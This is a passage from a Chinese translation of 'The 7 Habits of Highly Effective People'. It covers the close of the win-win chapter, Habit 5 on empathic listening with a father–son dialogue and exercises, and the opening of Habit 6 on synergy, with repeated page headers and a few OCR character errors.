哈佛法学院的教授罗杰·费舍(Roger Fisher) 和威廉‘尤利(William ury)曾合作出版的《走向共 识》建议在谈判中坚持“原则”,而不是“立场”。 虽然他们并没有使用“双赢”一词,但是倡导的精 神和本书不谋而合。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 326 ~ 他们认为原则性谈判的关键是要将人同问题区 分开来,要注重利益而不是立场,要创造出能够让 双方都获利的方法,但不违背双方认同的一些原则 或标准。 我建议不同的人和机构采用以下四个步骤完成 双赢过程: 首先,从对方的角度看问题。真正理解对方的 想法、需要和顾虑,有时甚至比对方理解得更透彻。 其次,认清主要问题和顾虑(而非立场)。 第三,确定大家都能接受的结果。 第四,实现这种结果的各种可能途径。 习惯五和六直接说明了如何处理其中的两点, 后两个章节里将详细探讨。 需要指出的是,双赢过程同双赢结果密不可分, 只有经由双赢过程才能实现双赢结果,这里的目的 与手段是一致的。 双赢并非性格魅力的技巧,而是人类交往的一 种模式。双赢来自诚信、成熟和知足的人格,是高 度互信的结果;它体现在能有效阐明并管理人们的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 327 ~ 期望和成就的协议中;在起支持作用的双赢体系里 蓬勃生长;经由必要的双赢过程来实现。习惯五和 习惯六将对枝种幸寸程讲行深入研容. 付诸行动 1.认真想一下你最近需要打交道的人或者想 要解决的问题,窿敢作敢为和善解人意间找到平衡 点。 2.列出最能妨碍双赢模式的因素,设法清除 在个人影响圈内的那一部分。 3.选择一个你想签订双赢协议的人际关系; 尽量设身处地为对方着想,记下你认为对方会接受 的结果;从自己的角度出发,列出对自己有利的结 果;询问对方是否愿意就这个问题进行交流;一起 商讨两全其美的对策。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 328 ~ 4.列出你生活中最重要的三个人际关系,估 算一下与这些人的情感账户余额,记下有助于增加 存款的感情投资。 5.反省自己的交往模式,是赢/输式的吗?这 种模式对你与他人的交往有什么影响?形成这种模 式的主要原因是什么?这种模式对你有何助益? 6.找到一个双赢模式的榜样,也就是即便身 处困境也不忘双赢的人,仔细观察并向他学习。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 329 ~ 第八章 习惯五 知彼解己 ——移情沟通的原则 若要用一句话归纳我在人际关系方面学到的 一个最重要的原则,那就是:知彼解己——首先寻 求去了解对方,然后再争取让对方了解自已。这一 原则是进行有效人际交流的关键。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 330 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 331 ~ 心灵世界自有其理,非理智所能企及。 ——帕斯卡(Pascal) 法国哲学家、数学家及物理学家 假设你的眼睛不太舒服,去看眼科医生,而他 只听你说了几句话就摘下自己的眼镜给你。 ‚戴上吧,‛他说,‚我已经戴了十年了,很管 用,现在送给你,反正我家里还有一副。‛ 可是你戴了之后看到的东西都扭曲了。 ‚太可怕了!‛你叫道, ‚我什么都看不到了。‛ ‚怎么会呢?‛医生说,‚我戴的时候很好啊, 你再试试。‛ ‚我试过了,‛你说,‚可是眼前一片模糊。‛ ‚喂,你这个人怎么回事?往好处想不行吗? ‛ ‚那好,我现在郑重地告诉你,我什么都看不 见。‛ ‚我对你多好啊,‛医生恼羞成怒,‚真是好心 不得好报!‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 332 ~ 下一次你还会再去找这个医生吗?我想一定不 会。一个不诊断就开药方的医生怎么能信任呢? 但与人沟通时,我们常常这样不问青红皂白就 妄下断言。 ‚宝贝儿,跟我说说你怎么想的。我知道不容 易,可我会尽量理解。‛‚可是,妈妈,我不知道该 怎么说。你一定会觉得我很傻。‛ ‚不会的。告诉我吧,宝贝儿。这个世界还有 谁会比妈妈更关心你呢?妈妈就是想让你开心,可你 为什么不高兴呢?‛ ‚那好,说实话,我不想上学了。‛ ‚什么?‛你简直不敢相信自己的耳朵,‚你说 什么?你不想上学了?为了让你上学,我们做了那么 大的牺牲!接受教育是为你的将来打基础。如果你像 你姐姐那样用功的话,成绩一定会好起来,那样你 就喜欢上学了。我们跟你说过多少次了,一定要安 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 333 ~ 心学习。你有这个能力,可就是不愿意用功。要努 力,要积极向上才行啊!‛ 沉默。 ‚说吧.跟我说说你到底是怎么想的!‛ 我们总是喜欢这样匆匆忙忙地下结论,以善意 的建议快刀斩乱麻地解决问题。不愿意花时间去诊 断,深入了解一下问题的症结。 如果要让我用一句话总结人际关系中最重要的 一个原则,那就是:知彼解己。这是进行有效人际 沟通的关键。 你真的听懂了吗 读、说、听和写是最基本的沟通方式,也是最 基本的生活技能。从小到大,我们接受的教育多偏 向读写的训练,说也占其中一部分,可是从来没有 人教导我们如何去听。然而听懂别人说话,尤其是 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 334 ~ 从对方的立场去聆听,实在不是件容易事。 如果你要和我交往,想对我有影响力,你首先 要了解我,而做到这一点不能只靠技巧。如果我觉 察到你在使用某种技巧,就会有受骗和被操纵的感 觉。我不知道你为什么这样做,有什么动机。你让 我没有安全感,自然也不会对你敞开心扉。 你的影响力在于你的榜样作用和引导能力,前 者源于你的品德,是你的真我,别人的评论或者你 希望别人如何看你都没有意义,我在同你的交往中 已经清楚了解了你。 你的品德时刻发挥着影响力,并起着沟通的作 用。久而久之,我就会本能地信任或者不信任你这 个人以及你对我所做的事情。 除非你被我的个性所影响,不然我不会理会你 的建议。因此,如果你想养成真正有效的人际沟通 习惯,就不能单靠技巧。首先你要有能让他人信任 和 开 怀 的 人 格 , 在 此 基 础 上 培 养 移 情 聆 听 (EmpathicListening)的技巧,然后建立情感账户来 实现心与心的交流。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 335 ~ 移情聆听 “知彼”是交往模式的一大转变,因为我们通 常把让别人理解自己放在首位。大部分人在聆听时 并不是想理解对方,而是为了做出回应。这种人要 么说话,要么准备说话,不断地用自己的模式过滤 一切,用自己的经历理解别人的生活。 “是的,我知道你的感受。” “我也有过类似的经历,我的经验是„„” 他们总是把自己的经验灌输给别人,用自己的 眼镜给每一个人治疗。 如果同儿子、女儿、配偶或者雇员之间的沟通 出现了问题,他们的反应通常是: “他就是不理解我。” 有一个父亲对我说过:‚我不了解我的儿子, 他就是不愿意听我说话。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 336 ~ 我说:‚我来重述一下,你说你不了解你的儿 子,因为他不愿意听你说话?‛ ‚是的。‛他回答。 我问:‚你是说,因为孩子不肯听你说话,所 以你不了解他?‛ ‚对啊。‛ 我提示他:‚如果你想明白一个人,那就要听 他说话。‛ 他愣了一下,好一会儿才恍然大悟:‚噢,没 错!可是,我是过来人,很了解他的状况。唯一叫人 想不透的,就是他为什么不听老爸的话。‛ 实际上,这个人根本就不知道他儿子在想些什 么,他用自己的想法揣摩全世界,包括他的儿子。 事实上,大部分人都是这么自以为是。我们的 聆听通常有层次之分。一是充耳不闻,压根就不听 别人说话;二是装模作样,“是的!嗯!没错!”三是 选择接收,只听一部分,通常学龄前儿童的喋喋不 休会让我们采取这种方式;四是聚精会神,努力听 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 337 ~ 到每一个字。但是,很少有人会达到第五个层次, 即最高层次——移情聆听。 主动型和回应型聆听是一种技巧,本质是以自 我为中心,就算行为没有显露出,动机已经不言而 喻,会让说话的人有受辱的感觉。回应型聆听技巧 的目的不过是要做出回应,操控对方。 移情聆听是指以理解为目的的聆听,要求听者 站在说话者的角度理解他们的思维模式和感受。 移情(Empathy)不是同-(Sympathy)。后者是一 种认同和判断形式,更适合用来表达感情和做出回 应,却容易养成对方的依赖性。移情聆听的本质不 是要你赞同对方,而是要在情感和理智上充分而深 入地理解对方。 移情倾听不只是理解个别的词句而已。据专家 估计,人际沟通仅有 l0%通过语言来进行,30%I 玟决于语调与声音,其余 60%则得靠肢体语言。所 以在移情倾听的过程中,不仅要耳到,还要眼到、 心到;用眼睛去观察,用心灵去体会。 如此倾听效果显著,它能为你的行动提供最准 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 338 ~ 确的信息。你不必以己度人,也不必费心猜测,你 所要了解的是对方的心灵世界。倾听是为了理解, 是心和心的深刻交流。 移情聆听还是感情投资的关键,因为只有对方 认同,你的投资才有意义,否则就算你费尽心机, 对方也只会把它看作是一种控制、自利、胁迫和屈 就,结果是情感账户被支取。 心理空气 移情聆听本身就是巨额的感情投资,它能够给 人提供一种“心理空气”,极具治疗作用。 如果现在房间里的空气被突然抽走,你就不会 对这本书感兴趣了,因为生存是你的唯一动力。 除了物质,人类最大的生存需求源自心理,即 被人理解、肯定、认可和欣赏。 你的移情聆听等于是给了对方“心理空气”,满 足了对方这个基本需求后,你就可以着重于施加影 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 339 ~ 响力和解决问题了。 这种对“心理空气”的需求对我们生活中每一 个领域的交流都有影响。 我曾经在芝加哥的一个研讨会上讲授过这个 概念,并让与会者在晚上练习移情聆听。第二天上 午,一个人激动地跑来告诉我: ‚我来芝加哥是要谈成一大宗房地产交易的, 昨天我和主要负责人以及他们的律师见了面,在场 的还有另一家房地产代理,带着他们的候选方案。‛ ‚我为这个项目付出了六个月的心血,几乎是 孤注一掷。可是形势对我越来越不利。但是大势所 趋,而且他们已经厌倦了这漫长的过程。‛ ‚于是我对自己说,既然如此,不如试一试今 天刚学的方法——先知彼,再解己。‛ ‚请先听听看我是不是真正理解您的立场和 对我的提案的顾虑,如果是,再来看一下我的提案 是否合适。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 340 ~ ‚我觉察到了他的担心和对结果的预想,并如 实表达出来,我说得越多,他对我就越坦诚。‛ ‚结果谈到一半的时候,他站起来,走到电话 旁,拔通了太太的电话。然后捂住话筒,对我说, 这个项目是你的了。‛ 他给了那个人“心理空气”,从而在情感账户上 存了一大笔钱。就这一点来说,人为因素比技术因 素更重要。 要做到先理解别人,先诊断,后开方并不容易。 短期来看,直接把帮了自己多年的眼镜给别人 容易得多。但是长远来看,这样会严重弱化产出和 产能。如果不能准确理解对方的背景,就无法使相 互依赖性产出最大化;如果别人感觉不到被你真正 理解,你就不具备人际关系的产能,即高额情感账 户。 移情聆听是有风险的。只有当你做好了被对方 影响的准备,才能深入到移情聆听的阶段,而这是 需要足够的安全感的,因为这时候的你会变得很脆 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 341 ~ 弱。从某种意义上说,这很矛盾,因为在影响对方 之前,你必须先被影响,即真正理解对方。 所以说习惯一、二和三是基础,帮你保持核心 不变,即以原则为中心,平和而有力地应对外在的 弱点。 先诊断,后开方 尽管要面对风险和困难,先诊断,后开方的确 是在生活中被多方证实的正确原则,是所有真正的 专业人士的标志,不管对验光师还是内科医生来说 都很重要。只有当你相信了医生的诊断,才会相信 他的处方。 我们的女儿詹妮在还只有两个月大的时候,有 一天生病了。那是一个星期六,正好社区有一场重 要的橄榄球赛,几乎所有人都很关注。桑德拉和我 也想去,但又不想丢下上吐下泄的小詹妮。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 342 ~ 当时医生也去看比赛了,他虽然不是我们的家 庭医生,但却随叫随到。詹妮的情况越来越糟,于 是我们决定咨询一下医生。 桑德拉拔通了体育场的电话,让人帮忙呼叫医 生。那时比赛正进行到关键时候,医生的声音中有 一种急切:‚喂?什么事?‛他语速很快地问。 桑德拉说了詹妮的症状,医生爽快地答应马上 给詹妮开个处方。 挂电话后,桑德拉又觉得她在慌乱中其实并没 有把情况完全讲清楚,也许医生甚至不知道詹妮还 是个新生儿呢。 于是我拔通了电话,医生又一次被叫了出来。 我说:‚医生,你告诉药店药方的时候,知不知道詹 妮只有两个月大?‛ 他惊叫起来:‚不!我没想过这个问题,幸亏你 又打了这个电话,我这就去改药方。‛ 如果你对诊断本身没什么信心,那么也就不会 对据此开的药方有信心。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 343 ~ 销售方面也是这样。平庸的业务员推销产品, 杰出的业务员销售解决问题、满足需求之道。万一 产品不符合客户需要,也要勇于承认。 律师在办案前一定聚集所有的资料,研判案情, 再上法庭。称职的律师甚至事先模拟对方律师可能 采取的策略。产品设计前,必经进行市场调查;工 程师设计桥梁,一定预估桥身所须承受的压力;老 师在教学前,应了解学生掌握知识的程度。 首先理解别人是在生活领域里广泛适用的正确 原则,具有普遍性,但是在人际关系领域的作用是 最大的。 四种自传式回应 我们在听别人讲话时总是会联系我们自己的经 历,因此自以为是的人往往会有四种“自传式回应” (Autobiographical Response)的倾向: [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 344 ~ 价值判断——对旁人的意见只有接受或不接 受。 追根究底——依自己的价值观探查别人的隐 私。 好为人师——以自己的经验提供忠告。 自以为是——根据自己的行为与动机衡量别 人的行为与动机。 价值判断令人不能畅所欲言,追根究底则令人 无法开诚布公,这些都是经常造成亲子关系的一大 障碍。 青少年与朋友讲电话可以扯上一两小时,跟父 母却无话可说,或者把家当成吃饭睡觉的旅馆,为 什么呢?如果父母只知训斥与批评,孩子怎么肯向父 母吐真言? 在无数研讨会中,我曾与成千上万的人讨论这 个问题,我发现人们常自以为是,却习焉而不察。 无怪乎每次角色扮演时,许多人都意外地发现,自 己居然也有这种通病。好在只要病情确定,治疗并 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 345 ~ 不难。 请看以下一对父子的谈话,先从父亲的角度来 看: 子:‚上学真是无聊透了。‛ 父:‚怎么回事?‛ 追根究底 子:‚学的都是些不实用的东西。‛ 父:‚我当年也有同样的想法,可是现在觉得 那些知识还挺有用的,你就忍耐一下吧。‛ 好为人 师 子:‚我已经耗了 l0 年了,难道那些 X+Y 能让 我学会修车吗?‛ 父:‚修车?别开玩笑了。‛ 价值判断 子: ‚我不是开玩笑,我的同学乔伊辍学修车, 现在月收入不少,这才有用啊。‛ 父: ‚现在或许如此,以后他后悔就来不及了。 你不会喜欢修车的。好好念书,将来不怕找不到更 好的工作。‛ 好为人师 子:‚我不知道,可是乔伊现在很成功。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 346 ~ 父:‚你已尽了全力吗?这所高中是名校,应该 差不到哪儿去。‛ 好为人师、价值判断 子:‚可是同学们都有同感。‛ 父:‚你知不知道,把你养到这么大,你妈和 我牺牲了多少?已经读到高二了,不许你半途而废。‛ 价值判断 子:‚我知道你们牺牲很大,可是不值得。‛ 父:‚你应该多读书,少看电视——‛ 好为人师、价值判断 子:‚爸,唉——算了,多说也没什么用。‛ 这位父亲可谓用心良苦,但并未真正了解孩子 的问题。让我们再听听孩子可能想表达的心声。 子:‚上学真是无聊透了。‛ 我想引起注意, 与人谈谈心事。 父:‚怎么回事?‛ 父亲有兴趣听,这是好现 象。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 347 ~ 子:‚学的都是些不实用的东西。‛ 我在学校 有了问题,心里好烦。 父:‚我当年也有同样的想法。‛ 哇!又提当 年勇了。我可不想翻这些陈年旧账,谁在乎他当年 求学有多艰苦,我只关心我自己的问题。‚可是现 在觉得那些知识还挺有用的,你就忍耐一下吧。‛ 时间解决不了我的问题,但愿我说得出口,把问题 摊开来谈。 子:‚我已经耗了 l0 年了,难道那些 X+Y 能让 我学会修车吗?‛ 父:‚修车?别开玩笑了。‛ 他不喜欢我当修 车工,不赞成休学,我必须提出理论根据。 子:‚我不是开玩笑,我的同学乔伊辍学学修 车,现在月收入不少,这才有用啊!‛ 父: ‚现在或许如此,以后他后悔就来不及了。‛ 糟糕,又要开始说教。 ‚你不会喜欢修车的。‛ 爸,你怎么知道我的想法? ‚好好念书,将来 不怕找不到更好的工作。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 348 ~ 子:‚我不知道,可是乔伊现在很成功。‛ 他 没有念完高中,可是混得很不错。 父: ‚你尽全力了吗?‛ 又开始顾左右而言他, 但愿爸能听我说,爸,我有要事跟你说。 ‚这所 高中是名校,应该差不到哪儿去。‛ 唉,又转个 话锋,我想谈我的问题。 子: ‚可是同学们都有同感。‛ 我是有根据的, 不是信口雌黄。 父:‚你知不知道,把你养到这么大,你妈和 我牺牲了多少?‛ 又是老一套。想上我感到惭愧。 学校很棒,爸妈也很了不起,就只有我是个笨蛋。 ‚已经读到高二了,不许你半途而废。‛ 子: ‚我知道你们牺牲很大,可是不值得。‛ 你 们根本不了解我。 父:‚你应该多读书,少看电视——‛ 问题 不在这里。爸,你根本不明白,讲也讲不通,根本 不该跟你谈的。 子:‚爸,唉——算了,多说也没什么用。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 349 ~ 有效的沟通 这个例子充分显示有效的沟通多么不易,了解 他人又是多么重要。正确的沟通方式也就是移情聆 听,至少包括四个阶段。 第一阶段是复述语句,这至少能使人专心聆听。 子:‚上学真是无聊透了!‛ 父:‚你已受不了了,觉得上学太无聊。‛ 第二阶段加入解释,纯用自己的词句表达,但 仍用左脑的逻辑思考去理解。 父:‚你不想上学了。‛ 第三阶段渗入个人的感觉,右脑发挥作用。此 时听者所注意的已不止于言语,也开始体会对方的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 350 ~ 心情。 父:‚你觉得很有挫折感。‛ 第四阶段是既加以解释,又带有感情,左右脑 并用。 父:‚你对上学有很深的挫折感。‛ 运用第四阶段的方式沟通,不仅能了解对方, 更能帮助对方认清自己,勇于表白。再以前面的例 子说明。 子:‚上学真是无聊透了!‛ 我想引起注意, 与人谈谈心事。 父:‚你对上学有很深的挫折感。‛ 对,这正 是我的感觉。 子:‚没错,学校的东西根本不实用。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 351 ~ 父:‚你觉得读书对你没什么用。‛ 想想看, 我是那么说的吗? 子:‚对,学校的不一定对我有用。你看乔伊, 他现在修车技术一流,这才买用。‛ 父:‚你觉得他的选择正确。‛ 嗯…… 子:‚嗯,从某个角度看确实如此。现在他收 入不错,可是几年后,或许会后悔。‛ 父:‚你认为将来他会觉得当年做错了决定。‛ 子:‚一定会的,现在的社会里,教育程度不 高会吃亏的。‛ 父:‚教育很重要。‛ 子:‚对,如果高中都没毕业,一定找不到工 作,也上不了大学。有件事——我真的很担心,你 不会告诉妈吧?‛ 父:‚你不想让你妈知道?‛ 子:‚不是啦!跟她说也无妨,反正她迟早会知 道的。今天学校举行阅读能力测验,结果我只有小 学程度,可是我已经高二了!‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 352 ~ 儿子终于吐露真言,原来他担心阅读程度不如 人。此时才是父亲发挥影响力,提供意见的时刻。 不过在开导过程中,依然要注意孩子言谈间所传达 的信息。若是合理的反应不妨顺其自然,但情绪性 反应出现时,必须仔细聆听。 父:‚我有个构想,也许你可以上补习班加强 阅读能力。‛ 子:‚我已经打听过了,可是每星期要耗掉好 几个晚上!‛ 父亲意识到这是情绪性反应,又恢复移情聆听。 子:‚补习的代价太高了。‛ 子:‚而且我答应同学,晚上另有节目。‛ 父:‚你不想食言。‛ 子:‚不过补习如果真的有效,我可以想办法 跟同学改时间。 父:‚你其实很想多下点功夫,又担心补习没 用。‛ 子:‚你觉得会有效吗?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 353 ~ 孩子又恢复了理性,父亲则再次扮演导师的角 色。 适时扮演知音 心情不好的时候,最需要善解人意的好听众, 如果你能适时扮演这种角色,将会惊讶对方毫无保 留的程度。但前提是,你必须真心诚意为对方着想, 不存私心。有时甚至不必形诸言语,仅仅一分心意 就足以感动对方。 对于关系亲密的人,和他分享经验将大大有助 于沟通:“读了这本书才发现,我从未真正聆听你说 话,但今后会尽力而为,可能起初不能做得很好, 希望你助我一臂之力。” 我相信有人会批评,这种倾听方式太耗费时间。 起初的确如此,可是一旦进入状况就会如鱼得水。 正如医生不能托辞太忙就不经诊断而下处方,沟通 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 354 ~ 也需要投资时间。 记得有一次在夏威夷海边写稿,突然刮来一阵 强风,把稿纸吹得四下乱飞,使我不知所措。早知 如此,只要挪出 l0 秒钟把窗子关好,就不致如此狼 狈,真是欲速则不达。 人人都渴望知音,所以这方面的投资绝对值得, 它能使你掌握真正的症结,大大增加感情存折的储 蓄。 表达也要讲技巧 表达自己也是谋求双赢之道所不可缺少的,了 解别人固然重要,但我们也有义务让自己被人了解, 这通常需要相当的勇气。 古希腊人有一种很经典的哲学观点,即品德第 一,感情第二,理性第三。我认为这三个词集中体 现了让他人理解自己以及有效表达自己的精髓。 品德指的是你个人的信度,是人们对你的诚信 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 355 ~ 和能力的认可,是人们对你的信任,是你的情感账 户。感情指的是你的移情能力,是感性的,说明你 能通过交流迅速理解他人的情感。理性是你的逻辑 能力,即合理表达自己的能力。 请注意这个顺序:品德、感情、理性。首先是 你本身的品德,然后是你同他人的关系,最后是你 表达自己的能力,这是另外一种重要的模式转换。 多数人习惯直接用左脑逻辑表达自己,意图说服别 人,却从来没把品德第一,感情第二放在心上。 有位朋友曾对我抱怨,他向主管进言,提醒主 管改善管理方式,可是对方并不接受。 他问我:‚那位仁兄对自己的缺点心知肚明, 为什么却死不认错?‛ ‚你觉得你的话具有说服力吗?‛ ‚我尽力而为。‛ ‚果真这样吗?天下哪有这种道理,推销不成 反而要顾客自我检讨?推销员应该想办法改进销售 技术。你有没有设身处地为他着想?有没有多做点准 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 356 ~ 备,设法表达得更令人信服?你愿意花这么大的工夫 吗?‛ 他反问:‚我凭什么要这样?‛ ‚你希望他大幅改变,自己却舍不得花费心 h?‛ 他觉得投资太大,不值得付出。 表达自己并非自吹自擂,而是根据对他人的了 解来诉说自己的意见,有时候甚至会改变初衷。因 为在了解别人的过程中,你也产生新的见解。 一对一沟通 习惯五非常重要,因为它位于个人影响圈的中 心。相互依赖环境的很多因素都属于你的关注圈范 围,如问题、分歧、环境、他人行为等,如果把精 力都放在这上面,你很快就会精疲力竭,而且收效 甚微。 你应该时刻想着先理解别人,这是你力所能及 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 357 ~ 的。如果你把精力放在自己的影响圈内,就能真正 地、深入地了解对方。你会获得准确的信息,能迅 速抓住事件的核心,建立自己的情感账户,还能给 对方提供有效合作所必需的“心理空气”。 这是一种由内而外的行为方式,看看它给影响 圈带来了什么变化?认真聆听让你影响圈慢慢扩大, 并越来越有能力在关注圈中发挥影响。 再看看你自己会发生什么变化?你越深入了解 别人,就会越欣赏和尊敬他们。触及对方的灵魂是 一件很神圣的事情。 其实你现在就可以练习习惯五。下次同别人交 流的时候,你可以试着抛开自己的经验,尽力真正 了解对方。就算他们不愿意向你吐露自己的问题, 你也要感同身受。你可以聆听他们的心声,感受他 们受到的伤害,并做出回应——“你今天心情不好”。 也许他们会沉默,但是没有关系,你已经表达了对 他们的理解和尊重。 不要太过心急,要有耐心,要尊重对方。在你 能够感同身受之前,人们一般不会主动向你吐露心 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 358 ~ 声。你要一直关注他们的行为,并表示理解。你应 该睿智、敏感而又头脑清楚,并能够抛开个人经历。 何不从现在起立刻付诸行动,不论在办公室或 家中,敞开胸怀,凝神倾听。不要急功近利,即使 短期内未获回馈也决不气馁。以我为例,每天一定 与妻子桑德拉交谈,了解彼此的感受。我们还模拟 家中可能发生的摩擦,通过设身处地的倾听技巧, 预设有效的处理方式。通常我扮演儿子或女儿,桑 德拉则扮演母亲。通过这样的交流方式,我们不但 能够发现事情的真相,还学到很多东西,让我们能 够继续作为榜样,向孩子们传授正确的原则。对于 曾经处理不当的问题和事件,我们也会用这种方式 重演,结果让我们受益匪浅。 如果你真正爱一个人,那么花时间了解对方将 有益于今后的坦诚相待,这样一来,很多困扰家庭 和婚姻的问题都将被扼杀在萌芽状态,没有发展壮 大的机会,即便有这样的机会,充足的情感账户储 蓄也会让问题迎刃而解。 在商业领域,你可以为雇员设定一对一交流时 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 359 ~ 间,聆听和了解他们;还可以建立人力资源或者股 东信息系统,获取从客户到供应商到雇员等不同层 次的准确可靠的反馈信息。 先理解别人。在问题出现之前,在评估和判断 之前,在你表达个人观点之前,先理解别人,这是 有效的相互依赖关系中最有用的习惯。 当我们真正做到深入了解彼此的时候,就打开 了通向创造性解决方案和第三条道路的大门。我们 之间的分歧不再是交流和进步的障碍,而是通往协 同效应的阶梯。 付诸行动 1.选择一个情感账户出现赤字的人际关系, 试着从对方的角度理解并记下他的处境。下一次见 面时,通过聆听来理解对方,将现在听到的和以前 记下的做一个比较。看看你的想法是否准确?你真的 理解对方的立场和观点吗? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 360 ~ 2.与一个亲近的人分享移情这个概念,告诉 他(她)你想要做到真正的移情聆听,并让他(她)在 一个星期之后提供反馈意见。你做得怎么样?那个人 有什么感觉? 3.下次有机会旁观他人交流的时候,捂住自 己的耳朵,只用眼睛观察。哪些情感不是用语言表 达出来的? 4.下次发现你表现出不恰当的自传式回应(价 值判断、刨根问底、好为人师或自以为是)的时候, 立刻承认并道歉,尽力扭转局面,将情感账户的支 出变成存入。(‚对不起,我刚才并不是真的努力去 理解你,我们可以再来一次吗?‛) 5.下次表达自己观点的时候,首先做到移情。 要能够和对方的同伴一样(甚至更好地)描述对方的 观点,然后站在对方的立场上,争取让自己的观点 得到理解。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 361 ~ 第九章 习惯六 统合综效 ——创造性合作的原则 统合综效的基本心态是:如果一位具有相当聪 明才智的人跟我意见不同,那么对方的主张必定有 我尚未体会的奥妙,值得加以了解。 与人合作最重要的是,重视不同个体的不同心 理、情绪与智能,以及个人眼中所见到的不同世界。 假如两人意见相同,其中一人必属多余。与所见略 同的人沟通,毫无益处,要有分歧才有收获。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 362 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 363 ~ 我以圣者的期望自勉:对关键事务——团结, 对重大事务——求变,对所有事务——宽大。 ——美国总统乔治·布什(George Bush) 就职演说 英 国 前 首 相 温 斯 顿 · 丘 吉 尔 (Sir Winston Churchill)受命领导全英抵抗外敌入侵时曾说,他 这一生都在为这一刻做准备。同样,所有其他习惯 也都是在为“统合综效”这个习惯做准备。 统合综效就是整体大于部分之和,也就是说各 个部分之问的关系也是整体的一个组成部分,但又 不仅仅是一个组成部分,而是最具激发、分配、整 合和激励作用的部分。 统合综效是人类所有活动中最高级的一种,是 对所有其他习惯的真实考验和集中体现。统合综效 是人类最了不起的能耐,也是前五个习惯的整体表 现与真正考验。唯有兼具人类四种特有天赋、辅以 双赢的动机及移情沟通,才能达到统合综效的最高 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 364 ~ 境界。统合综效不但可创造奇迹,开辟前所未有的 新天地,也能激发人类最大潜能,即使面对人生再 大的挑战都不足惧。 自然界到处都有统合综效的影子。如果你把两 棵植物种得很近,它们的根就会缠绕在一起,土壤 质量就会提高,两棵植物都能比被分开时更加茁壮 地成长。叠放在一起的两块木片所能承受的重量大 于叠放前分别承受的重量之和。一加一大于或者等 于三。 问题是如何将从自然界中学到的创造性合作原 则应用到社会交往中。事实上家庭生活就为我们提 供了很多观察和练习统合综效的机会,生儿育女就 是一个例子。 统合综效的精髓就是判断和尊重差异,取长补 短。男女和夫妻间的生理差异显而易见,那么社会、 智力和情感方面的差异呢?不是也可以创造出新的 生活形态和环境吗?它能让每一个人都能够真正实 现自我,自尊自强,有机会完成从依赖到独立,再 到相互依赖的成熟过程。统合综效不正好能够培养 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 365 ~ 我们的下一代的服务和奉献精神吗?让他们少一些 防御意识,针锋相对和自私自利,多一些坦诚相待, 相互信赖和慷慨大方,少一些自我封闭,自我防御, 权术玩弄,多一些仁慈爱心和关心同情,少一些占 有欲望和随意判断。 敞开胸怀,博采众议 所谓统合综效的沟通,是指敞开胸怀,接纳一 切奇怪的想法,同时也贡献自己的浅见。乍看之下, 这似乎把习惯二“以终为始”弃之不顾,其实正好 相反。在沟通之初,谁也没有把握事情会如何变化, 最后结果又如何。但安全感与信心使你相信,一切 会变得更好,这正是你心中的目标。 很少人曾在家庭或其他人际关系中,体验过集 体创作的乐趣,但日常生活中却习惯封闭和多疑。 这常造成一生中最大的不幸——空有无尽的潜力, 却无用武之地。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 366 ~ 一般人或多或少有过“众志成城”的经验,例 如一场球赛暂时激发了团队精神;或是在危难中共 同发挥急人所急的精神,挽回一条生命。不过,这 些通常都被视为特例,甚至奇迹,而非生活的常态。 其实这些奇迹可以经常发生,甚至天天出现。但前 提必须勇于冒险,肯博采众议。 